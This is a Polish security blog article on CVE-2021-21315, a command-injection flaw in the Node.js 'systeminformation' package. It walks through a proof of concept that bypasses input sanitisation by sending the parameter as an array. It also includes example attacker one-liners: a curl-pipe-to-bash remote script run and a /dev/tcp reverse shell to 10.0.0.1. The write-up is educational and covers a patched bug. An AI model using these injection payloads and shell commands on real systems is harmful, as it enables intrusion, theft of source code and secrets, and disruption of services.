Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
CVE-2021-21315: omówienie luki w popularnej paczce Node.js
Jak wynika z tego raportu, popularna paczka Node.js “systeminformation” posiadała podatność (CVE-2021-21315) typu “command injection”. W artykule znajduje się prosty “Proof of Concept”, który pomoże w zrozumieniu samej podatności. Zacznijmy jednak od wyjaśnienia, czym właściwie jest “systeminformation”.
Biblioteka “systeminformation”
Więcej na temat tej biblioteki znajdziemy na npmjs.com:
Jak widać na załączonym obrazku, “systeminformation” posiada łącznie około 30 milionów pobrań. Liczba tygodniowych pobrań jest również zaskakująco duża – 860 573.
Zdaniem twórców biblioteka jest prostym rozwiązaniem umożliwiającym uzyskiwanie szczegółowych informacji o systemie, procesorze pamięci, dyskach / systemie plików, sieci, dockerze, oprogramowaniu, usługach i procesach.
Tyle formalności.Przyjrzyjmy się teraz opisowi podatności na cve.mitre.org:
“be sure to check or sanitize service parameters that are passed to […] do only allow strings, reject any arrays. String sanitation works as expected. “
Z uwagi na fakt, że opis podatności jest dość zdawkowy, postanowiłem stworzyć prosty “Proof of Concept”, który pomoże w zrozumieniu podatności. PoC składa się z:
- Prostego “API” w Node.js wykorzystującego express.js oraz podatny “systeminformation”,
- Pakietu “systeminformation” po lekkich modyfikacjach (funkcje nie zawierają poprawki bezpieczeństwa).
Tak prezentuje się kod analizowanej aplikacji:
const http = require('http');
const si = require('systeminformation');
var express = require('express');
var app = express();
const port = 8000;
app.get('/api/getServices', (req, res) => {
const queryData = req.query.name
si.services(queryData).then((data) => {
console.log(data);
res.json(data);
});
});
app.get('/api/checkSite', (req, res) => {
const queryData = req.query.url
si.inetChecksite(queryData).then((data) => {
console.log(data);
res.json(data);
});
});
app.listen(port, () => console.log('Hello world'))
Nie ma tu żadnej większej filozofii. Przykładowo, w czasie wykonywania zapytania GET http://site.com/api/getServices?name=nginx wartość “nginx” zostanie wykorzystana w funkcji “si.services”, a to, co zwraca ta funkcja, zostanie wyświetlone przez naszą aplikację w formacie JSON. Sprawdźmy to!
Jak widać, nasze API zadziałało tak, jak tego oczekiwaliśmy. Pamiętając, że podatność w naszym pakiecie to “command injection”, spróbujmy zmienić wartość z “nginx” na złośliwą komendę np. $(echo -e 'Sekurak’ > pwn.txt):
Łatwo zauważyć, że, wartość “name” różni się od tego, co podaliśmy na wejściu. Plik również nie został utworzony. Wróćmy na chwilę do opisu podatności:
“do only allow strings, reject any arrays. String sanitation works as expected.“
Sanitize po polsku oznacza “odkażanie”. W tym przypadku biblioteka “odkaża” dane wejściowe od użytkownika (nas), przez co $(echo -e 'Sekurak’ > pwn.txt) zamieniło się w bezpieczne echo -e sekurak pwn.txt.
Jeśli opis mówi nam wprost. że “odkażanie działa jak należy”, to zostaje nam tylko ten fragment: “do only allow strings, reject any arrays.”
Zmiana ta jest widoczna w poprawce “systeminformation” na GitHubie:
Pamiętamy jednak, że my korzystamy z wersji przed poprawką, czyli nasza biblioteka nie zawiera kodu z powyższego obrazka. Ponieważ opis błędu mówi wyraźnie: “reject any arrays”, my zrobimy dokładnie na odwrót : )
Aby naszą “złośliwą komendę” wysłać w postaci “array”, wystarczy po “name” dodać “[]”.
Tym razem zwrócona wartość “name” jest dokładnie taka sama, jak to, co podaliśmy.
Nasza “złośliwa komenda” zadziałała, tworząc plik “pwn.txt”. Wysłanie komendy w postaci “array” ominęło funkcję “sanitize”, odpowiedzialną za “odkażanie” danych wejściowych:
Czy 30 milionów użytkowników pakietu powinno obawiać się teraz pliku “pwn.txt” z tekstem “Sekurak”? Nie. Pamiętajmy jednak, że możemy wykonywać dowolne komendy systemowe i że ogranicza nas jedynie wyobraźnia. Tu wymyśliłem dość nietypowy sposób na wykorzystanie podatności.
Komenda kopiuje zawartość index.js (dzięki temu będziemy mieli dostęp do kodu źródłowego aplikacji, w tym potencjalnie do kluczy API i innych wrażliwych danych np. połączenia z bazą danych). Teraz w ramach testu wyślijmy plik “pwn123.txt” prosto na nas!
I gotowe. Oto mamy właśnie kod źródłowy aplikacji : )
const http = require('http');
const si = require('systeminformation');
var express = require('express');
var app = express();
const port = 8000;
app.get('/api/getServices', (req, res) => {
const queryData = req.query.name
si.services(queryData).then((data) => {
console.log(data);
res.json(data);
});
});
app.get('/api/checkSite', (req, res) => {
const queryData = req.query.url
si.inetChecksite(queryData).then((data) => {
console.log(data);
res.json(data);
});
});
app.listen(port, () => console.log('Hello world'))
Oczywiście nasza aplikacja była bardzo prosta, więc nie zawierała wrażliwych danych w kodzie źródłowym. Pamiętaj jednak, że atakujący ma bardzo wiele możliwości, np.
curl -s http://server/path/script.sh | bash /dev/stdin arg1 arg2 – zdalne wykonywanie skryptu czy bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 – reverse shell.
Na koniec, możemy też zdalnie wyłączyć naszą aplikację:
Zabiliśmy proces node, co spowodowało przerwanie działania naszej aplikacji:
Całość jest dostępna na GitHubie tutaj
Jeśli lubisz “psuć” w podobny sposób, to zapoznaj się z postem na temat reaktywacji rozwal.to
Błąd w „systeminformation” został naprawiony w aktualizacji 5.3.1.
~ Jakub Bielaszewski
Może nie kąsam żartu, ale niech tam…
W artykule jest link _pokazywany_ jako
http://site.com/api/getServices?name=nginx
a w rzeczywistości link jest
http://77.55.216.147/api/getServices?name=nginx
Celowo tak?